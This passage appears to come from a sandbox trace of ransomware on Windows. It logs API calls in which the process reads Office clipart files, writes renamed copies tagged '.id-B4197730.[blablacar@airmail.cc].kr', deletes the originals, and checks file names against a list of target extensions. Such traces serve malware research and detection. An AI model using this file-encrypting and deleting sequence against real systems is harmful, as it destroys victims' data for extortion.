Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0206.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0206.920] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.920] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0206.921] GetLastError () returned 0x0 [0206.921] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2b04, lpOverlapped=0x0) returned 1 [0206.923] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2b10, lpOverlapped=0x0) returned 1 [0206.924] ReadFile (in: hFile=0x3f8, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0206.924] WriteFile (in: hFile=0x53c, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0206.924] SetEndOfFile (hFile=0x53c) returned 1 [0206.924] CloseHandle (hObject=0x53c) returned 1 [0206.924] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0206.924] SetEndOfFile (hFile=0x3f8) returned 1 [0206.931] CloseHandle (hObject=0x3f8) returned 1 [0206.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.931] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0208.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.785] lstrlenW (lpString=".doc") returned 4 [0208.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.785] lstrlenW (lpString=".docx") returned 5 [0208.785] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.785] lstrlenW (lpString=".pdf") returned 4 [0208.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.785] lstrlenW (lpString=".xls") returned 4 [0208.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.785] lstrlenW (lpString=".xlsx") returned 5 [0208.785] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.785] lstrlenW (lpString=".ppt") returned 4 [0208.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.785] lstrlenW (lpString=".zip") returned 4 [0208.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.785] lstrlenW (lpString=".rar") returned 4 [0208.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.785] lstrlenW (lpString=".bz2") returned 4 [0208.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.785] lstrlenW (lpString=".7z") returned 3 [0208.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString=".dbf") returned 4 [0208.786] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString=".1cd") returned 4 [0208.786] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString=".jpg") returned 4 [0208.786] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString=".doc") returned 4 [0208.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString=".docx") returned 5 [0208.786] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0208.786] lstrlenW (lpString=".pdf") returned 4 [0208.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString=".xls") returned 4 [0208.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0208.786] lstrlenW (lpString=".xlsx") returned 5 [0208.786] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0208.786] lstrlenW (lpString=".ppt") returned 4 [0208.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.786] lstrlenW (lpString=".zip") returned 4 [0208.786] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0208.786] lstrlenW (lpString=".rar") returned 4 [0208.786] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString=".bz2") returned 4 [0208.786] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0208.786] lstrlenW (lpString=".7z") returned 3 [0208.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0208.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.787] lstrlenW (lpString=".dbf") returned 4 [0208.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0208.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.787] lstrlenW (lpString=".1cd") returned 4 [0208.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0208.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0208.787] lstrlenW (lpString=".jpg") returned 4 [0208.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0208.787] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0208.787] lstrlenW (lpString="J0105974.WMF") returned 12 [0208.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0210.182] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4612) returned 1 [0210.183] CloseHandle (hObject=0x38c) returned 1 [0210.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0210.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.199] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.199] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.200] GetLastError () returned 0x0 [0210.200] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1204, lpOverlapped=0x0) returned 1 [0210.201] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1210, lpOverlapped=0x0) returned 1 [0210.202] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.202] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0210.202] SetEndOfFile (hFile=0x3f8) returned 1 [0210.202] CloseHandle (hObject=0x3f8) returned 1 [0210.202] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.202] SetEndOfFile (hFile=0x53c) returned 1 [0210.205] CloseHandle (hObject=0x53c) returned 1 [0210.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.206] lstrlenW (lpString=".doc") returned 4 [0210.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".docx") returned 5 [0210.206] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.206] lstrlenW (lpString=".pdf") returned 4 [0210.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.206] lstrlenW (lpString=".xls") returned 4 [0210.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.207] lstrlenW (lpString=".xlsx") returned 5 [0210.207] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.207] lstrlenW (lpString=".ppt") returned 4 [0210.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString=".zip") returned 4 [0210.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.207] lstrlenW (lpString=".rar") returned 4 [0210.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString=".bz2") returned 4 [0210.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString=".7z") returned 3 [0210.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString=".dbf") returned 4 [0210.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString=".1cd") returned 4 [0210.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString=".jpg") returned 4 [0210.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.207] lstrlenW (lpString=".doc") returned 4 [0210.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString=".docx") returned 5 [0210.207] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0210.207] lstrlenW (lpString=".pdf") returned 4 [0210.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.207] lstrlenW (lpString=".xls") returned 4 [0210.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.208] lstrlenW (lpString=".xlsx") returned 5 [0210.208] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0210.208] lstrlenW (lpString=".ppt") returned 4 [0210.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.208] lstrlenW (lpString=".zip") returned 4 [0210.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.208] lstrlenW (lpString=".rar") returned 4 [0210.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.208] lstrlenW (lpString=".bz2") returned 4 [0210.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.208] lstrlenW (lpString=".7z") returned 3 [0210.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.208] lstrlenW (lpString=".dbf") returned 4 [0210.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.208] lstrlenW (lpString=".1cd") returned 4 [0210.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF") returned 68 [0210.208] lstrlenW (lpString=".jpg") returned 4 [0210.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.208] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.208] lstrlenW (lpString="J0106208.WMF") returned 12 [0210.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.210] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11900) returned 1 [0210.210] CloseHandle (hObject=0x53c) returned 1 [0210.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0210.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.210] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.210] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0210.211] GetLastError () returned 0x0 [0210.211] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x2e7c, lpOverlapped=0x0) returned 1 [0210.213] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x2e80, lpOverlapped=0x0) returned 1 [0210.213] ReadFile (in: hFile=0x53c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0210.214] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0210.214] SetEndOfFile (hFile=0x3f8) returned 1 [0210.214] CloseHandle (hObject=0x3f8) returned 1 [0210.214] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0210.214] SetEndOfFile (hFile=0x53c) returned 1 [0210.216] CloseHandle (hObject=0x53c) returned 1 [0210.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0210.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 1 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString=".doc") returned 4 [0210.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString=".docx") returned 5 [0210.218] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.218] lstrlenW (lpString=".pdf") returned 4 [0210.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString=".xls") returned 4 [0210.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.218] lstrlenW (lpString=".xlsx") returned 5 [0210.218] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.218] lstrlenW (lpString=".ppt") returned 4 [0210.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString=".zip") returned 4 [0210.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.218] lstrlenW (lpString=".rar") returned 4 [0210.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString=".bz2") returned 4 [0210.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString=".7z") returned 3 [0210.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString=".dbf") returned 4 [0210.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString=".1cd") returned 4 [0210.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.218] lstrlenW (lpString=".jpg") returned 4 [0210.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString=".doc") returned 4 [0210.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString=".docx") returned 5 [0210.219] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.219] lstrlenW (lpString=".pdf") returned 4 [0210.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString=".xls") returned 4 [0210.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.219] lstrlenW (lpString=".xlsx") returned 5 [0210.219] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.219] lstrlenW (lpString=".ppt") returned 4 [0210.219] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString=".zip") returned 4 [0210.219] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.219] lstrlenW (lpString=".rar") returned 4 [0210.219] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString=".bz2") returned 4 [0210.219] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString=".7z") returned 3 [0210.219] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString=".dbf") returned 4 [0210.219] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString=".1cd") returned 4 [0210.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF") returned 68 [0210.219] lstrlenW (lpString=".jpg") returned 4 [0210.220] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.220] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.220] lstrlenW (lpString="J0106222.WMF") returned 12 [0210.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0210.220] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=19600) returned 1 [0210.220] CloseHandle (hObject=0x53c) returned 1 [0210.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0210.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 